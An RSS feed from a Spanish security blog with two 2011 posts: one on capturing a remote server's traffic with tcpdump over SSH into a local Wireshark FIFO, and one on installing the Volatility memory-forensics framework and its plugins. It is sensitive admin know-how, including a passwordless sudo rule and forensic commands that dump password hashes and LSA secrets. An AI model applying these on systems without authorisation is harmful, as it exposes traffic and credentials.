<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>OpenSec &#187; GNU/Linux</title>
	<atom:link href="http://opensec.es/category/gnu_linux/feed/" rel="self" type="application/rss+xml" />
	<link>http://opensec.es</link>
	<description>Development &#38; Security Research</description>
	<lastBuildDate>Fri, 30 Dec 2011 12:11:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>Sniffing en Remoto</title>
		<link>http://opensec.es/2011/05/04/sniffing-remoto/</link>
		<comments>http://opensec.es/2011/05/04/sniffing-remoto/#comments</comments>
		<pubDate>Wed, 04 May 2011 18:33:00 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[*BSD]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Red]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[UNIX]]></category>

		<guid isPermaLink="false">http://opensec.es/?p=453</guid>
		<description><![CDATA[<a href="http://opensec.es/2011/05/04/sniffing-remoto/" title="Sniffing en Remoto"></a>En más de una ocasión me he encontrado en la necesidad de realizar una captura de red de un equipo remoto en tiempo real y analizarla con varias herramientas, pero se plantean varios &#8220;problemas&#8221; a la hora de realizarlo. Uno &#8230;<p class="read-more"><a href="http://opensec.es/2011/05/04/sniffing-remoto/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://opensec.es/2011/05/04/sniffing-remoto/" title="Sniffing en Remoto"></a><p>En más de una ocasión me he encontrado en la necesidad de realizar una captura de red de un equipo remoto en tiempo real y analizarla con varias herramientas, pero se plantean varios &#8220;problemas&#8221; a la hora de realizarlo.</p>
<p>Uno de los problemas es que necesitaríamos tener instaladas en el servidor todas las herramientas de análisis que necesitemos. Esto en algunos casos no es posible (herramientas con GUI), además de no ser muy seguro tener todas las herramientas instaladas en el servidor. Una opción es realizar una captura con tcpdump durante X tiempo y luego volcarla a la estación de trabajo, pero el no poder analizar la captura &#8220;on-the-fly&#8221; o el hecho de que la actividad sospechosa no se realizase justo cuando estamos capturando los datos (¿qué pasa si te la cuelan entre captura y captura?) es algo que me preocupa, y sí, el servidor ya cuenta con NIDS y HIDS pero el problema se plantea cuando necesitamos una captura de red completa.</p>
<p>Para ello lo que vamos a hacer es lo siguiente:</p>
<ul>
<li>Crear un usuario en el servidor, que pueda ejecutar <strong>tcpdump</strong> con permisos de <strong>root sin password</strong></li>
<li>Autorizar el login de dicho usuario por SSH en el servidor mediante claves DSA permitiendo únicamente ejecutar el binario &#8216;<strong>sudo</strong>&#8216;</li>
<li>Crear una cola FIFO donde volcar la captura remota</li>
</ul>
<p>Hecho esto, la FIFO contendrá la captura del servidor remoto, con lo que podremos usarla como origen de captura en la estación de trabajo.</p>
<p>El servidor es una Debian GNU/Linux y la estación de trabajo es FreeBSD 8.2.</p>
<p><em><strong>Creando el usuario en el servidor:</strong></em></p>
<pre>sch3m4@caronte:~$ sudo useradd -m -N -s /bin/bash sniffer
sch3m4@caronte:~$ sudo passwd sniffer
sudo passwd sniffer
Introduzca la nueva contraseña de UNIX:
Vuelva a escribir la nueva contraseña de UNIX:
passwd: contraseña actualizada correctamente</pre>
<p>Parámetros:</p>
<ul>
<li><em><strong>-m</strong></em> Crea el directorio de conexion si no existe<em><strong> </strong></em></li>
<li><em><strong>-N</strong></em> No crea el grupo del usuario</li>
<li><em><strong>-s</strong></em> Shell por defecto del usuario</li>
<li><em><strong>sniffer</strong></em> Usuario</li>
</ul>
<p>La password es opcional, dependiendo si el servidor SSH permite logins con contraseñas vacías. Hecho esto ejecutamos la siguiente orden para permitirle ejecutar tcpdump como root sin pedir la contraseña:</p>
<pre>sch3m4@caronte:~$ sudo echo "sniffer ALL= NOPASSWD: `which tcpdump`" &gt;&gt; /etc/sudoers</pre>
<p><em><strong>Autorizar login SSH sin password:</strong></em></p>
<p>Ahora lo que haremos será generar una clave DSA en la estación de trabajo, en caso de que ya la tengas generada, puedes saltarte esta parte.</p>
<pre>[sch3m4@hellforce1 ~]$ ssh-keygen -t dsa
Generating public/private dsa key pair.
Enter file in which to save the key (/home/sch3m4/.ssh/id_dsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/sch3m4/.ssh/id_dsa.
Your public key has been saved in /home/sch3m4/.ssh/id_dsa.pub.
The key fingerprint is:
78:d2:ed:e7:33:8f:d8:5c:78:b6:2b:21:1d:9c:c0:a6 sch3m4@hellforce1.hell.lan
The key's randomart image is:
+--[ DSA 1024]----+
|         .       |
|          +      |
|         o o .   |
|       oE.  +    |
|      o S .. .   |
|       o .. o.   |
|          ..o.+  |
|           *+= . |
|          . ==+. |
+-----------------+
[sch3m4@hellforce1 ~]$
</pre>
<p>Ahora camos a copiar la clave pública que hemos generado (<strong>~/.ssh/id_dsa.pub</strong>) al directorio de trabajo del usuario &#8220;sniffer&#8221; en el servidor, crear la carpeta &#8220;<strong>.ssh</strong>&#8221; y volcar la clave pública al fichero &#8220;.ssh/authorized_keys&#8221; y darle los permisos adecuados. Dependiendo de la configuración que tengamos en el servidor SSH tendremos que agregar el usuario &#8220;<strong>sniffer</strong>&#8221; en la linea &#8220;<strong>AllowUsers</strong>&#8220;  del fichero de configuración de SSH (<strong>/etc/sshd/sshd_config</strong>).</p>
<pre>[sch3m4@hellforce1 ~]$ scp -C .ssh/id_dsa.pub sniffer@caronte:~/
sniffer@caronte's password:
id_dsa.pub         100%  616     0.6KB/s   00:00   
[sch3m4@hellforce1 ~]$
</pre>
<p>Ahora nos conectamos por SSH al servidor, con el usuario &#8220;sniffer&#8221; para crear el directorio &#8220;~/.ssh&#8221; crear el fichero &#8220;<strong>~/.ssh/authorized_keys</strong>&#8221; con la clave pública DSA que hemos subido al servidor, e indicarle que solo puede usar la orden &#8216;<strong>sudo</strong>&#8216;:</p>
<pre>[sch3m4@hellforce1 ~]$ ssh sniffer@caronte
sniffer@caronte's password: 

sniffer@caronte:~$ mkdir .ssh
sniffer@caronte:~$ chmod 0700 .ssh/
sniffer@caronte:~$ cat id_dsa.pub &gt; .ssh/authorized_keys
sniffer@caronte:~$ rm id_dsa.pub
sniffer@caronte:~$ chmod 600 .ssh/authorized_keys
sniffer@caronte:~$ ls -l .ssh/
total 4
-rw------- 1 sniffer users 631 may  4 19:55 authorized_keys
sniffer@caronte:~$</pre>
<p>Hecho esto el contenido de &#8220;<strong>~/.ssh/authorized_keys</strong>&#8221; quedaría algo parecido a esto:</p>
<pre>ssh-dss A(...)suGkuJRcwAAAIEAmKBmvqR+0IjzrdYXR8BX(...)ZScAAACAG2l92RIc4vlI+o(...)UQoreQ= sch3m4@hellforce1.hell.lan
</pre>
<p>Ahora probamos a iniciar sesion con el usuario &#8216;<strong>sniffer</strong>&#8216; en el servidor:</p>
<pre>[sch3m4@hellforce1 ~]$ ssh sniffer@caronte

Last login: Wed May  4 19:58:10 2011 from 10.0.0.33
sniffer@caronte:~$
</pre>
<p>Ahora vamos a intentar iniciar sesión lanzando tcpdump:</p>
<pre>[sch3m4@hellforce1 ~]$ ssh sniffer@caronte sudo tcpdump -i tun0

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 65535 bytes
^CKilled by signal 2.
[sch3m4@hellforce1 ~]$</pre>
<p>Todo correcto así que vamos a preparar los parámetros de tcpdump y volcar la salida a una FIFO:</p>
<pre>[sch3m4@hellforce1 ~]$ mkfifo /tmp/fifo.sniffer
[sch3m4@hellforce1 ~]$ ssh sniffer@caronte sudo tcpdump -U -n -w - -i wlan0 "port 80" &gt; /tmp/fifo.sniffer</pre>
<p>Ahora, ya podemos lanzar Wireshark con la siguiente orden:</p>
<pre>[sch3m4@hellforce1 ~]$ sudo wireshark -k -i /tmp/fifo.sniffer</pre>
<p>La opción &#8220;<strong>-k</strong>&#8221; es para que comience la captura en cuanto se abra.</p>
]]></content:encoded>
			<wfw:commentRss>http://opensec.es/2011/05/04/sniffing-remoto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Volatility Installer</title>
		<link>http://opensec.es/2011/05/03/volatility-installer/</link>
		<comments>http://opensec.es/2011/05/03/volatility-installer/#comments</comments>
		<pubDate>Tue, 03 May 2011 20:42:57 +0000</pubDate>
		<dc:creator>sch3m4</dc:creator>
				<category><![CDATA[*BSD]]></category>
		<category><![CDATA[Bash Script]]></category>
		<category><![CDATA[Forense]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[MS Windows]]></category>
		<category><![CDATA[Programacion]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[UNIX]]></category>

		<guid isPermaLink="false">http://opensec.es/?p=444</guid>
		<description><![CDATA[<a href="http://opensec.es/2011/05/03/volatility-installer/" title="Volatility Installer"></a>Como ya sabréis, Volatility es un producto de código abierto de &#8220;Volatile Systems&#8221; escrito en Python orientado al análisis forense de memoria RAM en entornos Windows. Una vez instalado es muy potente y sencillo de usar, pero tienes que dedicarle &#8230;<p class="read-more"><a href="http://opensec.es/2011/05/03/volatility-installer/">Read more &#187;</a></p>]]></description>
			<content:encoded><![CDATA[<a href="http://opensec.es/2011/05/03/volatility-installer/" title="Volatility Installer"></a><p>Como ya sabréis, <a href="https://www.volatilesystems.com/default/volatility">Volatility</a> es un producto de código abierto de &#8220;Volatile Systems&#8221; escrito en Python orientado al análisis forense de memoria RAM en entornos Windows.</p>
<p>Una vez instalado es muy potente y sencillo de usar, pero tienes que dedicarle un &#8220;ratito&#8221; a la instalación&#8230; Con el objetivo de hacer más sencillo el proceso de instalación ha nacido un proyecto en Google Code de la mano de <a href="http://windowstips.wordpress.com/" target="_blank">Juan Garrido</a> llamado <a href="http://code.google.com/p/volatility-installer/" target="_blank">Volatility Installer</a>, en el que he tenido la suerte de participar en la versión UNIX del script.</p>
<p>El proceso de instalación sería el siguiente:</p>
<pre>[sch3m4@hellforce1 ~]$ uname -a
FreeBSD hellforce1.hell.lan 8.2-RELEASE FreeBSD 8.2-RELEASE #0: Fri Feb 18 02:24:46 UTC 2011     root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
[sch3m4@hellforce1 ~]$ wget http://volatility-installer.googlecode.com/files/install.volatility.tar.gz
--2011-05-03 01:42:29--  http://volatility-installer.googlecode.com/files/install.volatility.tar.gz
Resolviendo volatility-installer.googlecode.com (volatility-installer.googlecode.com)... 209.85.147.82
Connecting to volatility-installer.googlecode.com (volatility-installer.googlecode.com)|209.85.147.82|:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 8935 (8,7K) [application/x-gzip]
Saving to: `install.volatility.tar.gz'

100%[===================================================================================================================================================================================================&gt;] 8.935       --.-K/s   in 0s      

2011-05-03 01:42:29 (54,8 MB/s) - `install.volatility.tar.gz' saved [8935/8935]

[sch3m4@hellforce1 ~]$ sha1 install.volatility.tar.gz | grep 51f4505f2ed2d53a724cfe4761fa7d45818fbcc4
SHA1 (install.volatility.tar.gz) = 51f4505f2ed2d53a724cfe4761fa7d45818fbcc4
[sch3m4@hellforce1 ~]$ tar xf install.volatility.tar.gz
[sch3m4@hellforce1 ~]$ cd install.volatility
[sch3m4@hellforce1 ~/install.volatility]$ ./volatility.installer.sh 

##################################################
#     Volatility Installer UNIX Script v0.3b     #
# http://code.google.com/p/volatility-installer/ #
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
# Project leader: Juan Garrido (aka Silverhack)  #
# Script written by: Chema Garcia (aka sch3m4)   #
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
# Contact:                                       #
#           http://opensec.es                    #
#           sch3m4@opensec.es                    #
#           sch3m4@brutalsec.net                 #
##################################################

Usage: ./volatility.installer.sh &lt;options&gt;

+ Options:
 -v -------&gt; Install Volatility
 -p -------&gt; Install plugins
 -r -------&gt; Install PyCrypto
 -y -------&gt; Install libyara
 -t -------&gt; Install yara-python
 -d -------&gt; Install Distorm
 -s -------&gt; Install libdasm
 -f -------&gt; Install pefile
 -A -------&gt; * Install all above

[sch3m4@hellforce1 ~/install.volatility]$ ./volatility-installer -A

##################################################
#     Volatility Installer UNIX Script v0.3b     #
# http://code.google.com/p/volatility-installer/ #
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
# Project leader: Juan Garrido (aka Silverhack)  #
# Script written by: Chema Garcia (aka sch3m4)   #
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
# Contact:                                       #
#           http://opensec.es                    #
#           sch3m4@opensec.es                    #
#           sch3m4@brutalsec.net                 #
##################################################

[i] Installing: Volatility
 + Url: https://www.volatilesystems.com/volatility/1.3/Volatility-1.3_Beta.tar.gz
 + File: volatility.tar.gz
 + Folder: Volatility-1.3_Beta
 + MD5: 77d05a5e93ea77425379a306024b739b
 + SHA256: 7d4dd429a488671c559c6f5de0d3fae6d3d1f9eb67c19e399495a1b6aa31d392\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Extracting Volatility...
 OK
 - Installing...
Password:
 OK
 - Cleaning...
 OK

[i] Installing: PyCrypto
 + Url: http://www.amk.ca/files/python/crypto/pycrypto-2.0.1.tar.gz
 + File: pycrypto-2.0.1.tar.gz
 + Folder: pycrypto-2.0.1
 + MD5: 4d5674f3898a573691ffb335e8d749cd
 + SHA256: b08d4ed54c9403c77778a3803e53a4f33f359b42d94f6f3e14abb1bf4941e6ea\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Extracting PyCrypto...
 OK
 - Installing...
 OK
 - Cleaning...
 OK

[i] Installing: LibDASM
 + Url: http://www.klake.org/~jt/misc/libdasm-1.5.tar.gz
 + File: libdasm-1.5.tar.gz
 + Folder: libdasm-1.5
 + MD5: f166d83ba73ae7f7f260366ba7155787
 + SHA256: 34d6c17dbb318bf2e21c6a3ae7dcc53d918ce247f1bd422b123d5e41a730a676\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Extracting LibDASM...
 OK
 - Installing...
 OK
 - Cleaning...
 OK

[i] Installing: Distorm3
 + Url: http://distorm.googlecode.com/files/distorm3.zip
 + File: distorm3.zip
 + Folder: distorm3
 + MD5: eb80e8901d4c52965b0de9ea5b7dca91
 + SHA256: 4fba8606caab377d10646953a205507a1faa184047f869cc13e62b1ebf4a1b0e\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Extracting Distorm3...
 OK
 - Installing...
 OK
 - Cleaning...
 OK

[i] Installing: Yara
 + Url: http://yara-project.googlecode.com/files/yara-1.4.tar.gz
 + File: yara-1.4.tar.gz
 + Folder: yara-1.4
 + MD5: ecc744a67482dc9d717936ccd69dc39f
 + SHA256: c040cc139030e49f736200d3a951922d417fc660cf4c81484ff1ca1a06f83952\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Extracting Yara...
 OK
 - Installing...
 OK
 - Cleaning...
 OK

[i] Installing: Yara-Python
 + Url: http://yara-project.googlecode.com/files/yara-python-1.4a.tar.gz
 + File: yara-python-1.4a.tar.gz
 + Folder: yara-python-1.4a
 + MD5: 0754dcc834c7f69ed0382d895d9a10cc
 + SHA256: 0221b6b5178edc99584fb0e082ebbc454e3e33701112f7041349e547a8aabc66\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Extracting Yara-Python...
 OK
 - Installing...
 OK
 - Cleaning...
 OK

[i] Installing: PEFile
 + Url: http://pefile.googlecode.com/files/pefile-1.2.10-102.tar.gz
 + File: pefile-1.2.10-102.tar.gz
 + Folder: pefile-1.2.10-102
 + MD5: 0047429fbd7b8bad8f5c583291b598f9
 + SHA256: 29d8b6fb4d30b1b45b801526591e8f23fb539cc059ed79d5aa34be93a9734dfe\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Extracting PEFile...
 OK
 - Installing...
 OK
 - Cleaning...
 OK

[i] Installing plugin: DriverIRP
 + Url: http://mhl-malware-scripts.googlecode.com/files/driverirp.py
 + File: driverirp.py
 + Folder: memory_plugins
 + MD5: 0696eefa51362b71606337b8d04d886f
 + SHA256: 7edf7373260462b36ac985837f28c27623e229291d7a1550334fcb2f667fc0fc\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing DriverIRP...
 OK
 - Cleaning...
 OK

[i] Installing plugin: GetSIDs
 + Url: http://www.cc.gatech.edu/~brendan/volatility/dl/getsids.py
 + File: getsids.py
 + Folder: memory_plugins
 + MD5: 49353f0a48a1f9b2411439fb8a0973dc
 + SHA256: a403bfbb98d49d9a73cc0f9928994f5ed3bcbf9ef249627e1bb0b86f2c24e41b\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing GetSIDs...
 OK
 - Cleaning...
 OK

[i] Installing plugin: SSDT
 + Url: http://www.cc.gatech.edu/~brendan/volatility/dl/ssdt.py
 + File: ssdt.py
 + Folder: memory_plugins
 + MD5: c820f40174bd42e77608d0415ed021c6
 + SHA256: 5760e5fba87b5fb536c0ad80ec6621bd43fa28ded8b75055380a6ac83db7f187\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing SSDT...
 OK
 - Cleaning...
 OK

[i] Installing plugin: ModDump
 + Url: http://www.cc.gatech.edu/~brendan/volatility/dl/moddump.py
 + File: moddump.py
 + Folder: memory_plugins
 + MD5: a6a98d106793bf674d8276a7ca127f4c
 + SHA256: 93771efe555c99d720371a5f6556aa9c734a49d514e782e0d3ceaf097019e522\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing ModDump...
 OK
 - Cleaning...
 OK

[i] Installing plugin: VolShell
 + Url: http://www.cc.gatech.edu/~brendan/volatility/dl/volshell.py
 + File: volshell.py
 + Folder: memory_plugins
 + MD5: 0012136fdef54c479eec44b7f19b5bcc
 + SHA256: e0b0b23eb00bf25b160399916004afe34da1c8ae3ebb870e901d09147f310962\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing VolShell...
 OK
 - Cleaning...
 OK

[i] Installing plugin: MalFind2
 + Url: http://mhl-malware-scripts.googlecode.com/files/malfind2.py
 + File: malfind2.py
 + Folder: memory_plugins
 + MD5: b9212ae50a800ffabfa5889bb7e3766b
 + SHA256: 8ad794435ad7a3cda7e3ec12525c781b14f5f09d6e37ffc39e5923ac07c304ec\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing MalFind2...
 OK
 - Cleaning...
 OK

[i] Installing plugin: CryptoScan
 + Url: http://jessekornblum.com/tools/volatility/cryptoscan.py
 + File: cryptoscan.py
 + Folder: memory_plugins
 + MD5: 523f67f6c19fa5637c35accef492a04b
 + SHA256: c6d97346eefe7c27cda73ed711ea3225d509c5162ae346f8fa66c6159898c9c6\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing CryptoScan...
 OK
 - Cleaning...
 OK

[i] Installing plugin: Suspicious
 + Url: http://jessekornblum.com/tools/volatility/suspicious.py
 + File: suspicious.py
 + Folder: memory_plugins
 + MD5: d751b34f2ef1713a5f599ea7fae20c1b
 + SHA256: 7941afa01e6de182c8e7452a23908be86702fa9b691dea0d56ff0a6d2bcdda43\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing Suspicious...
 OK
 - Cleaning...
 OK

[i] Installing plugin: PsTree
 + Url: http://www.pyflag.net/volatility/pstree.py
 + File: pstree.py
 + Folder: memory_plugins
 + MD5: cabf40d8fc1fc52e1a89930dec1ccec9
 + SHA256: ef2f719a3213c6e637735ad9a4a6bd04e922fa177d7c8651f4d8bd75c8cfa2c9\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing PsTree...
 OK
 - Cleaning...
 OK

[i] Installing plugin: KeyboardBuffer
 + Url: http://computer.forensikblog.de/files/volatility_plugins/keyboardbuffer.py
 + File: keyboardbuffer.py
 + Folder: memory_plugins
 + MD5: fda30c99dc701dce7a039d3de19307a3
 + SHA256: 396e72ddbda2846b301fb97b5ccf06bd250bf81a7327e514e4821ca637d6e088\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing KeyboardBuffer...
 OK
 - Cleaning...
 OK

[i] Installing plugin: OrphanThreads
 + Url: http://mhl-malware-scripts.googlecode.com/files/orphan_threads.py
 + File: orphan_threads.py
 + Folder: memory_plugins
 + MD5: 82ad2b8b5dde35f68f9ac3e9687655d6
 + SHA256: 009239a031cd53a82378a815ce81803ad3b7d4e8bd6257f34e50a5833cc0bda9\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing OrphanThreads...
 OK
 - Cleaning...
 OK

[i] Installing plugin: UsermodeHooks
 + Url: http://mhl-malware-scripts.googlecode.com/files/usermode_hooks2.py
 + File: usermode_hooks2.py
 + Folder: memory_plugins
 + MD5: 253a6885e52e39002c770e77916e7e09
 + SHA256: fae684cb49922dbf0c7920c4195876805ed591887e1b34dd590472a2a5a55de1\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing UsermodeHooks...
 OK
 - Cleaning...
 OK

[i] Installing plugin: KernelHooks
 + Url: http://mhl-malware-scripts.googlecode.com/files/kernel_hooks.py
 + File: kernel_hooks.py
 + Folder: memory_plugins
 + MD5: 01dcde71e2878b8c04cace8acd4bd06c
 + SHA256: 5911d54bb2e4802feb9cc5915dbabde395a89cbf1fd0217626112646da04e055\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing KernelHooks...
 OK
 - Cleaning...
 OK

[i] Installing plugin: IDT
 + Url: http://mhl-malware-scripts.googlecode.com/files/idt.py
 + File: idt.py
 + Folder: memory_plugins
 + MD5: 1890882ec273bf0036e9fb1aa4ea17e5
 + SHA256: 4ea358826d4f284f8f669a7bbddf4a6048c0fe3e83f98f973525cd1172d28b35\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing IDT...
 OK
 - Cleaning...
 OK

[i] Installing plugin: Lists
 + Url: http://www.cc.gatech.edu/~brendan/volatility/dl/lists.py
 + File: lists.py
 + Folder: forensics/win32
 + MD5: 7d7e7cd7b9d8f12773c057b402f79650
 + SHA256: 793b9a77a6b04c941c870cb4d22f3d8a9447a0431aaa954da04b4fcdee5dc140\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing Lists...
 OK
 - Cleaning...
 OK

[i] Installing plugin: ThreadQueues
 + Url: http://www.cc.gatech.edu/~brendan/volatility/dl/threadqueues.py
 + File: threadqueues.py
 + Folder: forensics/win32
 + MD5: 1dc40cd5987dfd55f4146721d978416f
 + SHA256: 4e370bfb29f673373ea1cc36991b42457894d12a1eb8df720e8ef040484d9d0e\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing ThreadQueues...
 OK
 - Cleaning...
 OK

[i] Installing plugin: VolRIP
 + Url: http://www.cc.gatech.edu/~brendan/volatility/dl/volrip-0.1.zip
 + File: volrip-0.1.zip
 + Folder: ./
 + MD5: 96b15dc1bcd1bd1f2782d38645dc5af9
 + SHA256: dc1b6bd109e813c3bd831c53955ae1401e181221ce3ffcfacc4fffb3b964b820\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing VolRIP...
 OK
 - Cleaning...
 OK

[i] Installing plugin: VolREG
 + Url: http://www.cc.gatech.edu/~brendan/volatility/dl/volreg-0.6.zip
 + File: volreg-0.6.zip
 + Folder: ./
 + MD5: 75d5e4f686082799d961641ebcd17bbd
 + SHA256: b361f0d516baf5e60c1048b5416a899365ac1824631390a962d5d258c10585b4\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing VolREG...
 OK
 - Cleaning...
 OK

[i] Installing plugin: FileObjScan
 + Url: http://computer.forensikblog.de/files/volatility_plugins/volatility_fileobjscan-current.zip
 + File: volatility_fileobjscan-current.zip
 + Folder: ./
 + MD5: 11a0a12f5d6ed31872daa6660446eb1c
 + SHA256: d8963851b4286b7fda5e9902ab176c49e1afb107dac8629046db6dfaedfc3653\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing FileObjScan...
 OK
 - Cleaning...
 OK

[i] Installing plugin: SymLinkScan
 + Url: http://computer.forensikblog.de/files/volatility_plugins/volatility_symlinkobjscan-current.zip
 + File: volatility_symlinkobjscan-current.zip
 + Folder: ./
 + MD5: e62dac146336e6f79ca89ca07061730c
 + SHA256: 7215b1977d7a6e9bfc44056c1becf41a7dc230a8ef14df5d260026fb5e600518\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing SymLinkScan...
 OK
 - Cleaning...
 OK

[i] Installing plugin: MutantScan
 + Url: http://computer.forensikblog.de/files/volatility_plugins/volatility_mutantscan-current.zip
 + File: volatility_mutantscan-current.zip
 + Folder: ./
 + MD5: c0571785cdea36f40416594b6e6134e4
 + SHA256: 080a8aa43cbd445c716c1b46a9c97c326d92bf8c3953eadea65cd9b7e677285e\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing MutantScan...
 OK
 - Cleaning...
 OK

[i] Installing plugin: ObjTypeScan
 + Url: http://computer.forensikblog.de/files/volatility_plugins/volatility_objtypescan-current.zip
 + File: volatility_objtypescan-current.zip
 + Folder: ./
 + MD5: 6ae2673cdaf7a0f2249db6f9dcc4b0a3
 + SHA256: 00b5b98bc2d6449a2106d42f208176360488d0da2b203c14c4c6ad66ef3e46a0\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing ObjTypeScan...
 OK
 - Cleaning...
 OK

[i] Installing plugin: DriverScan
 + Url: http://computer.forensikblog.de/files/volatility_plugins/volatility_driverscan-current.zip
 + File: volatility_driverscan-current.zip
 + Folder: ./
 + MD5: 02da6e69c983a9c2d5f5334da60f9d68
 + SHA256: 4384bbf66af9169986bacca75fbaf75d15c7006f4250b187f9b7ef94ebcad095\n

 - Downloading...
 OK
 - Verifing checksums...
 OK
 - Installing DriverScan...
 OK
 - Cleaning...
 OK

[+] Finished! You can check installation logs in /usr/home/sch3m4/install.volatility/logs_martes.05-03-11.01-40-33
[sch3m4@hellforce1 ~/install.volatility]$</pre>
<p>Hecho esto se habrá creado el script <span style="color: #000000;"><em>/usr/bin/volatility</em></span> con el que podemos invocar a volatility desde cualquier directorio:</p>
<pre>[sch3m4@hellforce1 /tmp]$ volatility 

 Volatile Systems Volatility Framework v1.3
 Copyright (C) 2007,2008 Volatile Systems
 Copyright (C) 2007 Komoku, Inc.
 This is free software; see the source for copying conditions.
 There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

 usage: volatility cmd [cmd_opts]

 Run command cmd with options cmd_opts
 For help on a specific command, run 'volatility cmd --help'

 Supported Internel Commands:
 connections        Print list of open connections
 connscan           Scan for connection objects
 connscan2          Scan for connection objects (New)
 datetime           Get date/time information for image
 dlllist            Print list of loaded dlls for each process
 dmp2raw            Convert a crash dump to a raw dump
 dmpchk             Dump crash dump information
 files              Print list of open files for each process
 hibinfo            Convert hibernation file to linear raw image
 ident              Identify image properties
 memdmp             Dump the addressable memory for a process
 memmap             Print the memory map
 modscan            Scan for modules
 modscan2           Scan for module objects (New)
 modules            Print list of loaded modules
 procdump           Dump a process to an executable sample
 pslist             Print list of running processes
 psscan             Scan for EPROCESS objects
 psscan2            Scan for process objects (New)
 raw2dmp            Convert a raw dump to a crash dump
 regobjkeys         Print list of open regkeys for each process
 sockets            Print list of open sockets
 sockscan           Scan for socket objects
 sockscan2          Scan for socket objects (New)
 strings            Match physical offsets to virtual addresses (may take a while, VERY verbose)
 thrdscan           Scan for ETHREAD objects
 thrdscan2          Scan for thread objects (New)
 vaddump            Dump the Vad sections to files
 vadinfo            Dump the VAD info
 vadwalk            Walk the vad tree

 Supported Plugin Commands:
 cachedump          Dump (decrypted) domain hashes from the registry
 cryptoscan         Find TrueCrypt passphrases
 driverirp          Print driver IRP function addresses
 driverscan         Scan for driver objects
 fileobjscan        Scan for file objects
 getsids            Print the SIDs owning each process
 hashdump           Dump (decrypted) LM and NT hashes from the registry
 hivedump           Dump registry hives to CSV
 hivelist           Print list of registry hives
 hivescan           Scan for _CMHIVE objects (registry hives)
 idt                Print Interrupt Descriptor Table (IDT) entries
 kernel_hooks       Locate IAT/EAT/in-line API hooks in kernel space
 keyboardbuffer     Print BIOS keyboard buffer
 lsadump            Dump (decrypted) LSA secrets from the registry
 malfind2           Detect hidden and injected code
 moddump            Dump loaded kernel modules to disk.
 mutantscan         Scan for mutant (mutex) objects
 objtypescan        Scan for object type objects
 orphan_threads     Find kernel threads that don't map back to loaded modules
 printkey           Print a registry key, and its subkeys and values
 pstree            
 ssdt               Display SSDT entries
 suspicious         Find suspicious command lines and display them
 symlinkobjscan     Scan for symbolic link objects
 usermode_hooks     Locate IAT/EAT/in-line API hooks in user space
 volshell           Shell in the memory image

 Example: volatility pslist -f /path/to/my/file
[sch3m4@hellforce1 /tmp]$</pre>
<p>El archivo <em><strong>res.conf</strong></em> es el fichero del que lee los datos de las dependencias y plugins el script de instalación, por lo que para cambiar una versión por otra y/o agregar o eliminar plugins basta con editar este archivo.</p>
